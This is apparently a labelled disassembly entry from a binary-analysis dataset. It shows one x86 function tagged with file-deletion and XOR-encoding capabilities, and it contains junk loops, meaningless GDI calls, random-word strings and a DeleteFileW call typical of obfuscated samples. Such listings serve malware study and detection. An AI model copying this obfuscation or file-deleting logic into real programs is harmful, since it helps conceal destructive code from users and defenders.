Function at 0x1001ad9f
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov eax, 0x10060403
call fcn.1005f648
sub esp, 0x34
push ebx
push esi
mov dword [ebp - 0x20], 0x17b0
cmp dword [ebp - 0x20], 0x1808
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], edx
jle 0x1001ae2f
xor esi, esi
mov dword [ebp - 0x1c], esi
mov ebx, esi
mov dword [ebp - 0x18], 0x2640
xor edi, edi
xor esi, esi
mov dword [ebp - 0x14], 0xccc
mov eax, ebx
mov ecx, 0x1007ba38
xor eax, esi
cdq
push edx
push eax
call fcn.10005547
add esi, edi
dec dword [ebp - 0x14]
jne 0x1001adde
inc edi
cmp edi, 0x56a2
jl 0x1001add5
dec ebx
dec dword [ebp - 0x18]
jne 0x1001add3
mov esi, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x6bc8
jl 0x1001adca
push 0x1519
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x147c
jge 0x1001ae4b
mov edx, str.ytpcigd_hwruxyize_icljcaboq_udblij_gddtejtg_ukaac_cftufy_pzmg_nvcgscab_gcvxxsi_sorgm_jgg
mov ecx, 0x1007ba38
call fcn.100078f4
or dword [ebp - 4], 0xffffffff
cmp byte [ebp + 0x10], 0
je 0x1001aefe
mov edi, dword [ebp + 0x24]
xor ebx, ebx
mov eax, dword [edi]
mov eax, dword [edi]
mov ecx, dword [edi]
mov edx, dword [edi]
mov eax, dword [ebp + 0x30]
mov eax, dword [eax]
cmp dword [eax + ecx*4], 0xf381
setg bl
sub ebx, dword [eax + edx*4]
mov eax, dword [ebp + 0x1c]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
mov dword [eax], ebx
mov eax, dword [eax]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov esi, dword [edi]
mov eax, dword [edi]
cmp eax, 4
mov ebx, dword [ebp + 0x30]
mov eax, dword [ebp + 0xc]
setne cl
mov edx, dword [ebx]
imul ecx, dword [edx + esi*4]
mov esi, dword [ebp + 0x14]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov eax, dword [ecx]
mov dword [esi], eax
mov edx, dword [edi]
mov ecx, dword [ebx]
mov eax, dword [esi]
mov ecx, dword [ecx + edx*4]
sub ecx, eax
mov eax, dword [ebp + 0x20]
mov dword [eax], ecx
mov eax, dword [eax]
sub eax, 0x8b47
jne 0x1001aecf
mov eax, dword [edi]
mov eax, dword [ebp + 0x28]
mov ecx, dword [esi]
mov dword [eax], ecx
mov edx, dword [edi]
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov dword [ecx + edx*4], eax
jmp 0x1001afa2
mov dword [ebp - 0x18], 0x2c4a
cmp dword [ebp - 0x18], 0x2ff6
jle 0x1001af7e
xor esi, esi
mov dword [ebp - 0x1c], esi
xor edi, edi
mov dword [ebp - 0x20], edi
xor ebx, ebx
mov dword [ebp - 0x14], edi
xor edi, esi
xor esi, esi
lea eax, [esi + ebx]
or eax, edi
lea ecx, [ebp - 0x3c]
cdq
push edx
push eax
call fcn.10002394
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001af3b
mov eax, dword [eax]
push eax
call fcn.10047752
pop ecx
push 0
push 1
lea ecx, [ebp - 0x3c]
call fcn.10005baf
inc esi
cmp esi, 0x7230
jl 0x1001af21
inc ebx
cmp ebx, 0x62b
jl 0x1001af1f
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x5d42
jl 0x1001af18
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x5c6e
jl 0x1001af13
mov eax, dword [ebp - 0x24]
cmp byte [eax], 0
je 0x1001af8e
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x18], 0x2b21
jge 0x1001afa2
push str.oqv_hyfnnbi_vjbffbxvl_hioxqprqa_qrqe_nuyslig_sdffszof_yrsqrncm_mtcs_qbwcrg_mgeb
call fcn.10047752
pop ecx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret